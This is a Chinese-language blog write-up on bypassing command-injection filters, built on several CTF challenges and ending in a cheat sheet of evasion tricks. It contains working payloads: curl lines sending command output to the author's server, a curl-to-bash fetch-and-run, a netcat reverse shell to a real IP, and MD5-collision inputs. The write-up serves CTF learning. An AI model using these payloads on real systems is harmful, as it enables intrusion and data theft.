RCE Bypass小结


前言

命令执行可以算是CTF中考察比较多的部分了,同时在挖一下后台漏洞服务的时候,尤其是DNS解析和路由器探测内网连通性的一些站点,大多都存在命令执行的点,这里就详细的总结一下命令执行的查考察类型和常用思路了。

命令执行成因

远程命令执行的存在的根本原因还是用户的输入问题,当代码中存在可以调用系统命令的参数,且该参数可以直接被用户控制或间接被用户控制的情况下时,用户便可以通过参数直接调用系统中的命令,从而达到命令执行的目的。所以我们可以简单的理解为,代码给了我们一个直接和系统沟通的桥梁,而过滤一些命令或者符号的问题,我们可以简单的理解为代码在建造桥梁时在桥梁之上添加了几层障碍,我们想要成功的执行命令就要绕过在代码部分对我们的输入数据的检测。这里以PHP为例介绍几种命令执行常常用到的函数:

system() #将括号内的字符串当作系统命令执行并返回执行结果
passthru() #将括号内的字符串当作系统命令并返回执行结果
shell_exec() #将括号内的字符串当作系统命令执行但不返回结果与 “``”等价
exec() #将括号内的字符串当作系统命令执行并返回输出的最后一行,需要使用echo或print打印出数据,无法直接返回数据

PHP中的命令执行

我们可以看一下这四种函数在Linux+php环境下执行命令的结果

image_1eolj9ib9drjvpojtv188hdtc9.png-49.4kB

这几种函数都可以直接和间接的返回我们执行命令的结果,文章的后面就基于这几个函数来详细的研究一下linux中命令执行绕过的问题,我们可以直接入手题目最后再对这些技巧进行总结

题目中的命令执行Bypass

这里的大多数题目都选用的BUUCTF

[GXYCTF2019]Ping Ping Ping

类似的ping的题目是命令执行在CTF比赛中是考察最多的一种形式。看一下题目,很直接的让我们GET传输一个IP,我们根据题目名称和参数类型猜测题目应该是代码调用系统中的ping命令来探测ip是否能够联通,我们首先要探测的是题目是否可以直接返回数据,我们可以ping一下本机看一下返回结果

image_1eoljlloc1h4j1ovc1sv92a01f4rm.png-35.9kB

可以看到返回的数据为命令执行结果的最后一行,可以猜测代码中调用应该为shell_exec或exec函数,此时尝试一下查看是否可以执行其他命令,我们可以在本地Fuzz一下

image_1eolm4tpm112tjid1lrv1bk91tkk13.png-79.5kB

可以看到我们可以使用”;”来执行多条命令,也可以使用“|”执行后面的命令,我们在题目中尝试一下

image_1eolm7j22ebjckkgr51ptt16hd1g.png-33.9kB

可以看到我们成功的执行了ls命令,发现当前目录下存在flag.php下一步的目的就是读取flag.php的内容,
我们经常使用的命令:
“`cat flag.php“`尝试直接执行

image_1eolodrbt32a1hj13btc2a1vs11t.png-41.6kB

提示我们空格被过滤,我们可以尝试以下几种方式进行绕过

image_1eolohc7mbua1v1tou96u3mpu2a.png-34.7kB

cat<>flag.php
cat$IFS$9flag.php
cat${IFS}flag.php

image_1eolortqv7m6uq9fi3d5ld772n.png-41.3kB

我们可以看到,成功绕过空格的检测,但是题目又对flag进行了过滤,那先看一下index.php的源码

image_1eolotosn2c513lv1m8t19h91lqo34.png-56kB

查看源码获取完整的php文件

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

可以看到代码中把flag进行过滤了,我们尝试模糊匹配

image_1eolpehav1b9sdu1oqc1ecfmj83h.png-21.7kB

cat fla*
cat fla?.php

但是可以在代码中看到,?和*都被过滤了,我们可以尝试分割赋值的方式进行操作

image_1eolpi24hd0i1g1t177nc8516ak3u.png-16.6kB

a=g;cat fla$a.php

在题目中尝试一下,成功在源码中获取到flag

image_1eolpopejaps9ooq1kjs7cld4b.png-49.7kB

这道题目还是比较中规中矩的命令执行的题目

[ACTF2020 新生赛]Exec

还是先查看一下是否存在回显

image_1eolq2d0o1henfjc146m1k8v1gsn4o.png-13.2kB

尝试执行一下命令

image_1eolq5ngmv1p5361ig060ahuv5l.png-13.4kB

查看一下根目录文件

image_1eolq6hb21fvbeve28h16uatdo62.png-25.1kB

发现flag,直接cat即可

image_1eolq7tc51kjk19jn14bm1sjvmo46f.png-18.7kB

与上道题目相比,这道题目的难度简单的很多,不存在对命令的过滤,主要考察基础的命令执行的知识

[安洵杯 2019]easy_web

这个也是一个比较有意思的题目

image_1eom7ulku1vbpkd61fof13qmjs46s.png-242.1kB

给了我们两个参数,首先看一下img这个参数,传输的值类似base64,解码看一下,两次解码后为一段十六进制字符串,十六进制解码一下查看

3535352e706e67
555.png

猜测一下是否可以通过构造index.php并通过相应的加密方式进行encode,从而获取到我们的源码,构造一下

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3 #index.php 字符转十六进制并进行两次base64加密的结果

传输一下

image_1eomam8e79kk3cb1nimlor36579.png-160.9kB

看到base64的数据,解密一下

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

成功获取到源码,审计一下,发现存在命令执行的点

    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;

在文章最开始介绍过 ““” = shell_exec(),我们只要满足先决条件,即可RCE,看一下先决条件

 ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

比较经典的md5比较漏洞,这里可以用md5碰撞的方法进行绕过

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

下面就是执行命令,可以看到题目中过滤了很多的命令,除了“ls”列目录的命令之外,我们可以使用“dir”命令

image_1eombsgjg1d0e14oedcc1e8a14rk7m.png-40.4kB

看一下根目录文件

dir+/

image_1eomburhcvr8j7ve8c9m515in83.png-69.2kB

发现根目录存在flag,尝试读取,这里可以用”ca\t+/flag”的方式进行读取

image_1eomc3tvs1qidfo39e01iemi2m8g.png-21.9kB

也可以使用这种方式,取决于题目中是否存在php环境

image_1eomc6ccv1uoqufe1fap1ku8ajl8t.png-14.5kB

image_1eomc71846ub1sln18ll1akb1f7a9a.png-69.6kB

[BJDCTF 2nd]duangShell

也是比较有意思的一道题目,题目直接给了提示.swp泄露

image_1eommvr0v10v5kiv10or1ji35mr9n.png-18.1kB

访问一下下载,在本地使用命令进行恢复

vim -r .index.php.swp

image_1eomn3qus1tohfcg5up19heija4.png-69.3kB

成功获取到源码,分析一下,我们需要控制girl_friend变量绕过检测并执行exec,由于命令执行的结果没有回显我们需要将获取到的命令执行的结果进行外带,首先查看当前目录下是否可以写入文件,如果可以写入文件,我们可以直接将命令执行的结果写入到文件中,再从web页面访问我们生成的文件即可获取到命令执行的结果

本地:

root@shanks:~# ls
1.sh  docker-demo
root@shanks:~# ls>a
root@shanks:~# cat a
1.sh
a
docker-demo
root@shanks:~# 

不过题目中”>”被过滤,我们不能写入,下一步就尝试题目能否外带数据,这里要做的第一步就是探测靶机能否出网,在靶机中执行一下curl我们自己的vps,查看vps日志中是否出现靶机访问的结果

image_1eomno5dngql188eo7n19mv1i3vbb.png-60kB

image_1eomnoh1ol4g2915go7vv18msbo.png-18.6kB

可以看到靶机可以成功的访问我们的vps,尝试靶机携带数据访问

image_1eomnq6u61p9eosu11qvg1q16h9c5.png-58.6kB

由于whoami命令是用反引号引用的,linux在执行的过程中会将whoami当作linux结果执行后再携带命令执行的结果访问我们的靶机,查看一下我们靶机的日志信息

image_1eomnsf3lddp1q69kcjvplf9nci.png-24.1kB

成功获取到当前用户,但是在进行列目录或者获取数据时发现ls和base64被过滤,但是我们可以将我们的命令写入我们的vps文件中,再通过靶机在访问我们的指定文件时,将文件内容当作linux命令执行,从而获取数据,比如我们在vps的文件1中写入如下内容:

curl xxx.xxx.xxx.xxx/`ls|base64` #文件1中内容

在靶机执行:

curl xxx.xxx.xxx.xxx/1|bash #执行命令

这样靶机在访问我们的vps目录下1文件时获取到了再次curl并且携带ls|base64的结果的命令,并且当作命令进行执行,这样我们就可以在我们的日志中看到ls的结果了

image_1eomoj77sgn7p091ilkr6sr5pcv.png-22.6kB

base64解码即可获得ls的内容,查看一下根目录数据

curl xxx.xxx.xxx.xxx/`ls /|base64` #文件1中内容

image_1eomolhng1403eeq17qa1141iqadc.png-32kB

解码发现根目录下存在flag,执行cat /flag

curl xxx.xxx.xxx.xxx/`cat /flag|base64` #文件1中内容

查看日志

image_1eomou1ba1mp61t7v10iaupi1e2dp.png-54.9kB

提示我们flag不在这.还是直接反弹shell吧,方便我们找了

nc 118.89.227.105 8899 -e /bin/sh

image_1eompc57gafemm418u0ev61jf1e6.png-26.3kB

成功获取到反弹shell,使用find语法找到flag,查看即可

[n1book web进阶]死亡ping命令

这个与前面的相比,应该是有点难度的了,访问页面发现是类似路由器的ping页面

image_1eon0s36ad9u1lmd1bp81d5l16j4ej.png-27.2kB

仍然是尝试ping一下本地ip

image_1eon0u2pf1700jf41un21t7m496f0.png-9.8kB

发现直接返回成功和失败不存在回显,同时在Fuzz时候发现,前端限制了十五个字符,不过我们可以通过查看源码发现,前端将我们的数据发送到ping.php目录下,我们可以直接在ping.php文件下进行调试

image_1eovu3uledru14h41clsn7s3bk9.png-34.4kB

image_1eovu56e1166u1h871f8f1kojnkrm.png-50kB

下一步测试一下命令拼接的符号,题目中过滤了分号和管道符,不过我们可以使用%0a绕过检测,下一步测试一下题目是否能够出网,尝试让靶机访问一下我们自己的vps

image_1eovudk457f1rn0anf3jaeas13.png-47.6kB

显示命令执行成功,看一下我们vps的访问日志

image_1eovugghd1lsh1jp211v916s7aek1g.png-20.1kB

成功发现访问日志,不过这道题目和上一道题目不一样的点在于我们不能直接利用”|bash”去执行命令了,不过我们可以将我们写在vps上面的内容保存成.sh文件之后再利用bash或者sh去执行sh文件同样可以达到获取flag的目的

首先仍在我们的vps的web目录下的1.txt中写下命令执行的payload

curl 47.102.141.139/`ls /|base64`

在靶机访问的vps指定文件并将获取到的文件内容保存成tmp目录下的1.sh文件,保存在tmp目录下的原因是因为tmp目录的权限比较大我们可以成功在tmp目录下读写文件

image_1eovv8ahlofhb5cl6q7fmeoc1t.png-52.7kB

显示命令执行成功,我们直接bash执行一下指定文件

image_1eovv99llu8d1u1vj6dkj2hps2a.png-51.7kB

显示执行失败,我们尝试使用sh执行

image_1eovvaat22sfgplofk1oakarn2n.png-55.4kB

发现仍然是执行失败,但是查看一下我们vps的日志

image_1eovvbpgi1vg6ark1adq72e1b1m34.png-31kB

成功获取到数据,解密一下

image_1eovvctjo1igfsl1vm5the1h8i3h.png-22.9kB

发现根目录下存在FLAG,修改一下vps内容再次传输过去,再执行

image_1eovvkr1e2un8jfa7kmihi3u.png-177.5kB

成功获取到flag

总结

简单来说命令执行可以分为几个点去分析,首先是否有回显、如果有回显就Fuzz过滤的字符和符号进行绕过,如果无回显可以利用curl获取数据执行命令或者反弹shell方法以及dnslog盲注的方法进行数据的传输和获取

顺便根据这几道题目总结一下常绕过的方式,可能总结的不是太全面,主要是自己做此类比赛时常用的点

空格:

%0a
%09
$IFS$9
${IFS}
<>

flag关键词被过滤

fla*
fl\ag
f"l"ag
f{a..z}ag #匹配faag~fzag二十六个文件,可以缩小间隔
fla?
f???
a=g;fla$a
* #视情况而定,如果目录下文件不多且数据回显可以这些直接去利用

或者:

cat `ls` # ``包裹ls直接回显当前文件夹所有文件,同时执行cat,与cat *的效果相同,适用于*等特殊字符被过滤的情况下

或者使用环境变量拼接的方式

echo $PATH|cut -c6 # 截取环境变量的第几位字符 第六位字符为"l"
f`echo $PATH|cut -c6`ag

cat被过滤的情况

可以利用其他命令去查看文件

tail
nl
head

或者绕过cat命令:

`/bin/ca?`
ca\t
a=c;$aat

如果题目环境下存在php的话,我们可以直接使用:

php flag #同样可以返回flag的内容

同样ls在被过滤的情况下我们也可以使用dir或者拼接绕过的形式进行目录列举

总的来说,bypass的方式千变万化,主要还是有一个不断Fuzz的心态,总能GET到题目的考点


发表评论

邮箱地址不会被公开。 必填项已用*标注